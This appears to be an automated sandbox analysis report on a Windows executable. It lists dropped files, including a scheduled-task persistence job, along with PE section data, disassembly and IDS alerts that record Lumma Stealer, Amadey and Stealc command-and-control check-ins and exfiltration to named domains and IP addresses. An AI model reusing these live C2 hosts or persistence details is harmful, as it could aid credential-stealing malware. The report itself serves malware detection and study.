SHA-512:	C421810480C65DB90554E7677601D15979311C6CE2E1BDC026BF2551A581DA6EC9A61090C075CE6E2B13B412D22468089A59799A9FC87DE357870C194A4068F8
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4016104199302015
Encrypted:	false
SSDEEP:	6:hMCkjlVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBsEut0:hMCwrf2RKQ1CGAFAjzvYRQVBsEut0
MD5:	2FC464B238D359D85286EB9B331C8B24
SHA1:	FEE2DE7C7FB2567BBBD8008414424EAB7CFA91DF
SHA-256:	D0855A8B90C855801897174E46CB5E93D6FF6DD74426C14411F345C1F4AE9D32
SHA-512:	122EA3C5479C5C1C92168FAB0C94D7DAA3653B7ECE9C5B4A8E7CEC0FD588626CE11FE1658E52025ABB1CBB2D87A36A648D4C0F19D3EFF573B18B1D16E7C97E5A
Malicious:	false
Preview:	.....].Bq..B...`.r..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................3.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.500637723334981
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'069'952 bytes
MD5:	e372f8c0aeb01807b45e2d92883011ae
SHA1:	3cf8399a3501d9e94c88360849f61d93cabf114f
SHA256:	e686f95db17d736d68c57ca703011ea016b74a29755fd75a54e76047faf617b0
SHA512:	bbc4dfade8b432787a0ab5cb199e43dd6112655c942736cc44976b785230bf9443943f284722f7e857eef3e6f679f0e7a0b4d3335d68240d7f5dd3411d9e9387
SSDEEP:	49152:qBcZ20lBOOe60k6cT9ZwA23NrbnTZEIsgm2V:qOxBY60k6c7M3/EIsgme
TLSH:	67E53A72F409B2CFD48E27B4A92FCD82A95D03B9471448C7A96CB87E7D63CC161B6C64
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@...........................2......./...@.................................T...h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x71e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9DB110053Ah
movzx ebp, byte ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	d09acaf86c3e4adfe54829bb5d4af566	False	0.9978387049373041	data	7.970591294370176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dolctmic	0x5b000	0x2c2000	0x2c1c00	037cf3a1a8f9c7f375e53f3e72fe97ea	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nozaowtq	0x31d000	0x1000	0x600	c3791c78e0d7c6ebe096ef3eb4bba4a0	False	0.5690104166666666	data	5.050442106824017	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x31e000	0x3000	0x2200	d9b0e230803d6dce003aada14d14aa2a	False	0.05652573529411765	DOS executable (COM)	0.82300726284559	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T08:50:01.936197+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	54420	1.1.1.1	53	UDP
2024-11-01T08:50:01.952115+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	63553	1.1.1.1	53	UDP
2024-11-01T08:50:01.968520+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	63688	1.1.1.1	53	UDP
2024-11-01T08:50:01.983035+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	65019	1.1.1.1	53	UDP
2024-11-01T08:50:01.994185+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	62907	1.1.1.1	53	UDP
2024-11-01T08:50:02.639539+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-01T08:50:02.639539+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-01T08:50:03.270919+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-01T08:50:03.270919+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-01T08:50:03.947386+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-01T08:50:03.947386+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-01T08:50:04.408513+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-01T08:50:04.408513+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-01T08:50:05.246399+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-01T08:50:05.246399+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-01T08:50:06.995799+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49733	188.114.96.3	443	TCP
2024-11-01T08:50:06.995799+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	188.114.96.3	443	TCP
2024-11-01T08:50:08.561309+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49734	188.114.96.3	443	TCP
2024-11-01T08:50:08.561309+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	188.114.96.3	443	TCP
2024-11-01T08:50:10.063645+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-01T08:50:10.063645+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-01T08:50:10.505254+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-01T08:50:11.570630+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-01T08:50:11.570630+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-01T08:50:15.715365+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49737	188.114.96.3	443	TCP
2024-11-01T08:50:15.715365+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	188.114.96.3	443	TCP
2024-11-01T08:50:16.225867+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	188.114.96.3	443	TCP
2024-11-01T08:50:17.156493+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49738	185.215.113.16	80	TCP
2024-11-01T08:50:19.424058+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.4	49739	TCP
2024-11-01T08:51:06.167758+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	57639	185.215.113.43	80	TCP
2024-11-01T08:51:09.525444+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57660	185.215.113.16	80	TCP
2024-11-01T08:51:29.572020+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	50709	1.1.1.1	53	UDP
2024-11-01T08:51:29.584055+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	57021	1.1.1.1	53	UDP
2024-11-01T08:51:29.595608+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	64564	1.1.1.1	53	UDP
2024-11-01T08:51:29.606568+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	50207	1.1.1.1	53	UDP
2024-11-01T08:51:29.874643+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	57653	TCP
2024-11-01T08:51:30.241752+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57770	188.114.96.3	443	TCP
2024-11-01T08:51:30.241752+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57770	188.114.96.3	443	TCP
2024-11-01T08:51:31.508825+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	57773	185.215.113.43	80	TCP
2024-11-01T08:51:31.509128+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	57770	188.114.96.3	443	TCP
2024-11-01T08:51:31.509128+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	57770	188.114.96.3	443	TCP
2024-11-01T08:51:32.182926+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57778	188.114.96.3	443	TCP
2024-11-01T08:51:32.182926+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57778	188.114.96.3	443	TCP
2024-11-01T08:51:32.463672+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57777	185.215.113.16	80	TCP
2024-11-01T08:51:32.860249+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	57778	188.114.96.3	443	TCP
2024-11-01T08:51:32.860249+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	57778	188.114.96.3	443	TCP
2024-11-01T08:51:33.834322+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57789	188.114.96.3	443	TCP
2024-11-01T08:51:33.834322+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57789	188.114.96.3	443	TCP
2024-11-01T08:51:34.436414+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	57789	188.114.96.3	443	TCP
2024-11-01T08:51:35.445774+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57800	188.114.96.3	443	TCP
2024-11-01T08:51:35.445774+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57800	188.114.96.3	443	TCP
2024-11-01T08:51:36.813280+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57806	188.114.96.3	443	TCP
2024-11-01T08:51:36.813280+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57806	188.114.96.3	443	TCP
2024-11-01T08:51:38.654431+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57817	188.114.96.3	443	TCP
2024-11-01T08:51:38.654431+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57817	188.114.96.3	443	TCP
2024-11-01T08:51:41.081052+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57834	188.114.96.3	443	TCP
2024-11-01T08:51:41.081052+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57834	188.114.96.3	443	TCP
2024-11-01T08:51:41.199211+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	57830	185.215.113.43	80	TCP
2024-11-01T08:51:42.107081+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57840	185.215.113.16	80	TCP
2024-11-01T08:51:42.401937+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	57838	185.215.113.206	80	TCP
2024-11-01T08:51:44.673212+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57852	188.114.96.3	443	TCP
2024-11-01T08:51:44.673212+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57852	188.114.96.3	443	TCP
2024-11-01T08:51:45.360277+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	57852	188.114.96.3	443	TCP
2024-11-01T08:51:46.838901+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	57863	185.215.113.16	80	TCP
2024-11-01T08:51:46.985678+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	53909	1.1.1.1	53	UDP
2024-11-01T08:51:47.047574+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	63593	1.1.1.1	53	UDP
2024-11-01T08:51:47.078510+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	52242	1.1.1.1	53	UDP
2024-11-01T08:51:47.089007+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	56720	1.1.1.1	53	UDP
2024-11-01T08:51:47.720344+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57873	188.114.96.3	443	TCP
2024-11-01T08:51:47.720344+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57873	188.114.96.3	443	TCP
2024-11-01T08:51:48.258342+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	57873	188.114.96.3	443	TCP
2024-11-01T08:51:48.258342+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	57873	188.114.96.3	443	TCP
2024-11-01T08:51:48.922434+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	57879	185.215.113.43	80	TCP
2024-11-01T08:51:49.345183+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57880	188.114.96.3	443	TCP
2024-11-01T08:51:49.345183+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57880	188.114.96.3	443	TCP
2024-11-01T08:51:49.952658+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57886	185.215.113.16	80	TCP
2024-11-01T08:51:49.952658+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	57886	185.215.113.16	80	TCP
2024-11-01T08:51:50.051831+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	57880	188.114.96.3	443	TCP
2024-11-01T08:51:50.051831+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	57880	188.114.96.3	443	TCP
2024-11-01T08:51:52.023276+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57891	188.114.96.3	443	TCP
2024-11-01T08:51:52.023276+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57891	188.114.96.3	443	TCP
2024-11-01T08:51:55.039127+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57896	188.114.96.3	443	TCP
2024-11-01T08:51:55.039127+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57896	188.114.96.3	443	TCP
2024-11-01T08:51:55.828577+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	57898	185.215.113.206	80	TCP
2024-11-01T08:51:56.448720+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	57900	185.215.113.43	80	TCP
2024-11-01T08:51:58.784423+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57902	188.114.96.3	443	TCP
2024-11-01T08:51:58.784423+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57902	188.114.96.3	443	TCP
2024-11-01T08:52:03.796373+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	57906	185.215.113.206	80	TCP
2024-11-01T08:52:03.942950+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57907	188.114.96.3	443	TCP
2024-11-01T08:52:03.942950+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57907	188.114.96.3	443	TCP
2024-11-01T08:52:06.566142+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57909	188.114.96.3	443	TCP
2024-11-01T08:52:06.566142+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57909	188.114.96.3	443	TCP
2024-11-01T08:52:06.576498+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	57909	188.114.96.3	443	TCP
2024-11-01T08:52:09.044899+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	57911	188.114.96.3	443	TCP
2024-11-01T08:52:09.044899+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	57911	188.114.96.3	443	TCP
2024-11-01T08:52:09.342142+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	57911	188.114.96.3	443	TCP
2024-11-01T08:52:10.258179+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	57914	185.215.113.16	80	TCP
2024-11-01T08:52:10.580955+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	57913	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 08:50:02.018881083 CET	49730	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:02.018987894 CET	443	49730	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:02.019076109 CET	49730	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:02.026546001 CET	49730	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:02.026596069 CET	443	49730	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:02.639435053 CET	443	49730	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:02.639539003 CET	49730	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:02.672580004 CET	49730	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:02.672636032 CET	443	49730	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:02.672900915 CET	443	49730	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:02.726286888 CET	49730	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:02.838478088 CET	49730	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:02.838478088 CET	49730	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:02.838661909 CET	443	49730	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:03.270922899 CET	443	49730	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:03.271020889 CET	443	49730	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:03.271105051 CET	49730	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:03.272552013 CET	49730	443	192.168.2.4	188.114.96.3
